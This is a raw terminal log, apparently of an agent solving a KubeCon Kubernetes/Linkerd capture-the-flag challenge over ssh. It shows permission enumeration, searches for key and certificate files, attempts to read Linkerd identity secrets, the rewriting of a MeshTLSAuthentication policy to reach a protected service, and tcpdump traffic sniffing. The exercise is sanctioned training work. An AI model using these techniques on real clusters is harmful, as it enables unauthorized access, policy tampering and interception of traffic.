echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name \"*.pem\" -o -name \"*.crt\" -o -name \"*.key\" 2>/dev/null'"
# Check if linkerd-proxy exposes certs via /var/run
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -40The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
>
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
exit
>
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /dev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep identity_cert | head -3'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# export GWIP=$(kubectl get svc -n envoy-gateway-sys
stem -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep
p '^envoy-default-public-gateway-' | awk '{print $2}')
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'echo | openssl s_client -connect $GWIP:443 -cert /de
ev/null -key /dev/null 2>&1 | grep -A 1 "Acceptable"'
[?2004l
command terminated with exit code 1
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'curl -s http://localhost:4191/metrics 2>&1 | grep id
dentity_cert | head -3'
[?2004l
# HELP control_identity_cert_expiration_timestamp_seconds Time when this proxy's current mTLS identity certificate will expire (in seconds since the UNIX epoch).
# TYPE control_identity_cert_expiration_timestamp_seconds gauge
# UNIT control_identity_cert_expiration_timestamp_seconds seconds
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'find /tmp -name "*.pem" -o -name "*.crt" -o -name "*
*.key" 2>/dev/null'
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'ls -la /var/run/ 2>&1'
[?2004l
total 16
drwxr-xr-x 1 root root 4096 Mar 25 10:51 .
drwxr-xr-x 1 root root 4096 Mar 25 10:51 ..
-rw-r--r-- 1 root root 0 Mar 25 10:51 adduser
drwxrwxrwt 2 root root 4096 Mar 16 00:00 lock
drwxr-xr-x 3 root root 4096 Mar 25 10:51 secrets
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo ">"
# Check iptables rules via /proc since we don't have iptables binary
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'"
# Try installing iptables and checking rules
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | tail -50( \/ \/ )( __)/ ___)/ )( \(_) ( ( \ / _\ ___ / _\ ( _ \ / \ / )( \( ( \( _ \
) ( ) _) \___ \) __ ( )( / / ( (_ \(___)/ \ ) /( () )) \/ (/ / )(_) )
(_/\/\_) (____)(____/\_)(_/(__)\_)__) \__/ \_/\_/(_)\_) \__/ \____/\_)__)(____/
Welcome to KubeCon EU 2026!
Operation: Shadow Mesh (Amsterdam Edition)
Welkom, Operators! The target is locked inside a strict Linkerd Service Mesh, with perimeters tighter than Amsterdam's bike lanes at rush hour.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
Hint: Know Your Turf > Your privileges vary by neighborhood. This will be crucial across the entire operation, so it's highly recommended to keep these two commands distinct:
- kubectl auth can-i --list: This checks your general permissions at the cluster level (or within the default namespace).
- kubectl auth can-i --list -n <namespace name>: This queries your exact permissions confined to a specific, targeted namespace.
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
To begin your heist, knock on the front door of the Envoy Gateway IP
export GWIP=$(kubectl get svc -n envoy-gateway-system -o custom-columns=NAME:.metadata.name,IP:.spec.clusterIP --no-headers | grep '^envoy-default-public-gateway-' | awk '{print $2}')
curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
Veel succes (Good luck), Operator! Stay stealthy and mind the bikes.
>
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
exit
>
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 && iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# >
[?2004l
bash: syntax error near unexpected token `newline'
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'cat /proc/net/nf_conntrack 2>/dev/null | head -10; e
echo === ; cat /proc/net/ip_tables_names 2>/dev/null'
[?2004l
===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- sh -c 'apt-get install -y iptables 2>/dev/null | tail -3 &&
& iptables -t nat -L PREROUTING -n 2>&1 && iptables -t nat -L OUTPUT -n 2>&1'
[?2004l
update-alternatives: using /usr/sbin/arptables-nft to provide /usr/sbin/arptables (arptables) in auto mode
update-alternatives: using /usr/sbin/ebtables-nft to provide /usr/sbin/ebtables (ebtables) in auto mode
Processing triggers for libc-bin (2.41-12+deb13u2) ...
Chain PREROUTING (policy ACCEPT)
target prot opt source destination
PROXY_INIT_REDIRECT all -- 0.0.0.0/0 0.0.0.0/0 /* proxy-init/install-proxy-init-prerouting */
Chain OUTPUT (policy ACCEPT)
target prot opt source destination
PROXY_INIT_OUTPUT all -- 0.0.0.0/0 0.0.0.0/0 /* proxy-init/install-proxy-init-output */
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- iptables -t nat -L -n -v 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -A 50 'Chain PROXY_INIT'Chain PROXY_INIT_OUTPUT (1 references)
pkts bytes target prot opt in out source destination
563 37914 RETURN all -- * * 0.0.0.0/0 0.0.0.0/0 owner UID match 2102 /* proxy-init/ignore-proxy-user-id */
7 420 RETURN all -- * lo 0.0.0.0/0 0.0.0.0/0 /* proxy-init/ignore-loopback */
0 0 RETURN tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 4567,4568 /* proxy-init/ignore-port-4567,4568 */
5 300 REDIRECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 /* proxy-init/redirect-all-outgoing-to-proxy-port */ redir ports 4140
Chain PROXY_INIT_REDIRECT (1 references)
pkts bytes target prot opt in out source destination
413 24780 RETURN tcp -- * * 0.0.0.0/0 0.0.0.0/0 multiport dports 4190,4191,4567,4568 /* proxy-init/ignore-port-4190,4191,4567,4568 */
413 24780 REDIRECT tcp -- * * 0.0.0.0/0 0.0.0.0/0 /* proxy-init/redirect-all-incoming-to-proxy-port */ redir ports 4143
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "kubectl auth can-i --list -n linkerd 2>&1 | head -20"
echo "kubectl auth can-i get secrets -n linkerd 2>&1"
echo "kubectl get secrets -n linkerd 2>&1"
echo "kubectl get secret linkerd-identity-issuer -n linkerd -o yaml 2>&1"
echo "kubectl get secret linkerd-identity-trust-roots -n linkerd -o yaml 2>&1"
echo "kubectl get cm linkerd-identity-trust-roots -n linkerd -o yaml 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|- kubectl\|export GWIP\|curl -k\|The first\|The gate\|Veel\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^$\|^\!' | tail -40kubectl get secrets -n linkerd 2>&1
kubectl get secret linkerd-identity-issuer -n linkerd -o yaml 2>&1
kubectl get secret linkerd-identity-trust-roots -n linkerd -o yaml 2>&1
kubectl get cm linkerd-identity-trust-roots -n linkerd -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl auth can-i --list -n linkerd 2>&1 | head -
-20
[?2004l
Resources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
namespaces [] [] [get watch list]
services [] [] [get watch list]
clienttrafficpolicies.gateway.envoyproxy.io [] [] [get watch list]
envoyproxies.gateway.envoyproxy.io [] [] [get watch list]
gateways.gateway.networking.k8s.io [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl auth can-i get secrets -n linkerd 2>&1
[?2004l
no
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get secrets -n linkerd 2>&1
[?2004l
Error from server (Forbidden): secrets is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get secret linkerd-identity-issuer -n link
kerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): secrets "linkerd-identity-issuer" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get secret linkerd-identity-trust-roots -n
n linkerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): secrets "linkerd-identity-trust-roots" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "secrets" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get cm linkerd-identity-trust-roots -n lin
nkerd -o yaml 2>&1
[?2004l
Error from server (Forbidden): configmaps "linkerd-identity-trust-roots" is forbidden: User "system:serviceaccount:default:jumppod" cannot get resource "configmaps" in API group "" in the namespace "linkerd"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.{
echo "kubectl get svc -A -o yaml 2>&1 | grep -A 5 annotation"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/' | grep -v '^\[?' | grep -v '^\]0;' | tail -60 k8s-app: kube-dns
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
config.linkerd.io/opaque-ports: "443"
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
[36m[K--[m[K
[01;31m[Kannotation[m[Ks:
linkerd.io/created-by: linkerd/helm edge-26.1.4
meta.helm.sh/release-name: linkerd-control-plane
meta.helm.sh/release-namespace: linkerd
creationTimestamp: "2026-03-25T10:49:12Z"
labels:
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.{
echo "echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^$\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -80curl -k https://$GWIP
The first flag is waiting for you there, but you'll need to dig around your environment for the right keys to get inside.
The gateway is bouncing your request because you are missing a client certificate.
echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1
exit
echo '=== BACKEND FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
echo '=== SUPERSECRET FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== RECEIVER FROM DEBUG ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://localhost:8080 2>&1
echo '=== MESHTLSAUTH ==='
kubectl get meshtlsauthentications -n supersecret -o yaml 2>&1
echo '=== AUTHZ POLICIES SUPERSECRET ==='
kubectl get authorizationpolicies -n supersecret -o yaml 2>&1
kubectl get servers -n supersecret -o yaml 2>&1
exit
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== BACKEND FROM DEBUG ==='
[?2004l
=== BACKEND FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
[A427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&[K1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== SUPERSECRET FROM DEBUG ==='
[?2004l
=== SUPERSECRET FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:80
080 2>&1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== RECEIVER FROM DEBUG ==='
[?2004l
=== RECEIVER FROM DEBUG ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://localhost:8080 2>&1
[?2004l
Request successfully received.
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== MESHTLSAUTH ==='
[?2004l
=== MESHTLSAUTH ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl get meshtlsauthentications -n supersecret
-o yaml 2>&1
[?2004l
apiVersion: v1
items:
- apiVersion: policy.linkerd.io/v1alpha1
kind: MeshTLSAuthentication
metadata:
creationTimestamp: "2026-03-25T10:50:42Z"
generation: 1
name: supersecret
namespace: supersecret
resourceVersion: "1468"
uid: e6030da5-485d-4b0f-bb37-cb6fbde49d1b
spec:
identities:
- default.supersecret.serviceaccount.identity.linkerd.cluster.local
kind: List
metadata:
resourceVersion: ""
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== AUTHZ POLICIES SUPERSECRET ==='
[?2004l
=== AUTHZ POLICIES SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get authorizationpolicies -n supersecret -
-o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): authorizationpolicies.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "authorizationpolicies" in API group "policy.linkerd.io" in the namespace "supersecret"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kkubectl get servers -n supersecret -o yaml 2>&1
[?2004l
apiVersion: v1
items: []
kind: List
metadata:
resourceVersion: ""
Error from server (Forbidden): servers.policy.linkerd.io is forbidden: User "system:serviceaccount:default:jumppod" cannot list resource "servers" in API group "policy.linkerd.io" in the namespace "supersecret"
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
command terminated with exit code 1
Connection to 35.179.133.134 closed.The MeshTLSAuthentication in supersecret only allows default.supersecret identity. I can UPDATE it to add the receiver pod's identity and access the supersecret service!
{
cat << 'CMDS'
cat << 'EOF' | kubectl apply -f -
apiVersion: policy.linkerd.io/v1alpha1
kind: MeshTLSAuthentication
metadata:
name: supersecret
namespace: supersecret
spec:
identities:
- default.supersecret.serviceaccount.identity.linkerd.cluster.local
- default.production.serviceaccount.identity.linkerd.cluster.local
EOF
echo '=== NOW TRY SUPERSECRET ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:8080 2>&1
echo '=== TRY BACKEND ==='
kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
exit
CMDS
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -30[?2004l
[?2004h> namespace: supersecret
[?2004l
[?2004h> spec:
[?2004l
[?2004h> identities:
[?2004l
[?2004h> - default.supersecret.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h> - default.production.serviceaccount.identity.linkerd.cluster.local
[?2004l
[?2004h> EOF
[?2004l
Warning: resource meshtlsauthentications/supersecret is missing the kubectl.kubernetes.io/last-applied-configuration annotation which is required by kubectl apply. kubectl apply should only be used on resources created declaratively by either kubectl create --save-config or kubectl apply. The missing annotation will be patched automatically.
meshtlsauthentication.policy.linkerd.io/supersecret configured
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# echo '=== NOW TRY SUPERSECRET ==='
[?2004l
=== NOW TRY SUPERSECRET ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://supersecret.supersecret.svc.cluster.local:80
080 2>&1
[?2004l
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<pre>
Target Acquired: flag_ctf{not_so_supersecret_anymore}
Outstanding work breaching the <code>supersecret</code> namespace. But don't drop your shell just yet—you are already sitting right on top of your final objective.
A highly classified payload hits this pod every 5 seconds, but the application itself won't tell you anything.
Take a closer look at the company inside the "receiver" deployment pod. It turns out one of the roommates has a pre-installed tool with a real talent for "sniffing" and dumping TCP traffic.
</pre>
</body>
</html>
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kecho '=== TRY BACKEND ==='
[?2004l
=== TRY BACKEND ===
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# kubectl exec -n production receiver-794df886d7-8f4
427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&1
[A427 -c debug-tools -- curl -s http://backend.backend.svc.cluster.local:8080 2>&[K1
[?2004l
[?2004h]0;root@jumppod-cd5dfbd7-m4b2w: ~root@jumppod-cd5dfbd7-m4b2w:~# [Kexit
[?2004l
exit
Connection to 35.179.133.134 closed.FLAG FOUND: flag_ctf{not_so_supersecret_anymore}
This was from the supersecret service, accessed by modifying the MeshTLSAuthentication to add the receiver pod's identity. The response also gives us a hint for the next flag: there's a payload hitting the receiver pod every 5 seconds, and we need to use tcpdump (the "sniffing" tool pre-installed in the debug-tools container) to capture it.
{
echo "kubectl exec -n production receiver-794df886d7-8f427 -c debug-tools -- tcpdump -A -i any -c 50 port 8080 2>&1 | head -100"
echo "exit"
} | ssh -tt -F /tmp/challenge-2/ssh_config -o StrictHostKeyChecking=no bastion 2>&1 | grep -v 'Welcome\|Operator\|Welkom\|Hint:\|Shadow\|locked\|perimeters\|^To begin\|menu\|^_ _\|^( \\\|^ )\|^(_/\|^\!' | grep -v '^\[?' | grep -v '^\]0;' | tail -8011:27:39.325554 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [.], ack 209, win 510, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4..@.@.~...T...T....../.....9....*~..... .C...C.. 11:27:39.325967 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [P.], seq 1:95, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 94: HTTP: HTTP/1.0 200 OK E.....@.@.~-..T...T....../.....9....*...... .C...C..HTTP/1.0 200 OK Server: SimpleHTTP/0.6 Python/3.14.3 Date: Wed, 25 Mar 2026 11:27:39 GMT 11:27:39.325981 lo In IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 95, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4r.@[email protected]./......*~..... .C...C.. 11:27:39.326225 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [P.], seq 95:126, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 31: HTTP E..S..@.@.~k..T...T....../.....9....*...... .C...C..Request successfully received. 11:27:39.326250 lo In IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [.], ack 126, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4r.@[email protected]./.<....*~..... .C...C.. 11:27:39.326292 lo In IP receiver-794df886d7-8f427.http-alt > receiver-794df886d7-8f427.44994: Flags [F.], seq 126, ack 209, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4..@.@.~...T...T....../.<...9....*~..... .C...C.. 11:27:39.326371 lo In IP receiver-794df886d7-8f427.44994 > receiver-794df886d7-8f427.http-alt: Flags [F.], seq 209, ack 127, win 512, options [nop,nop,TS val 256055734 ecr 256055734], length 0 E..4r.@[email 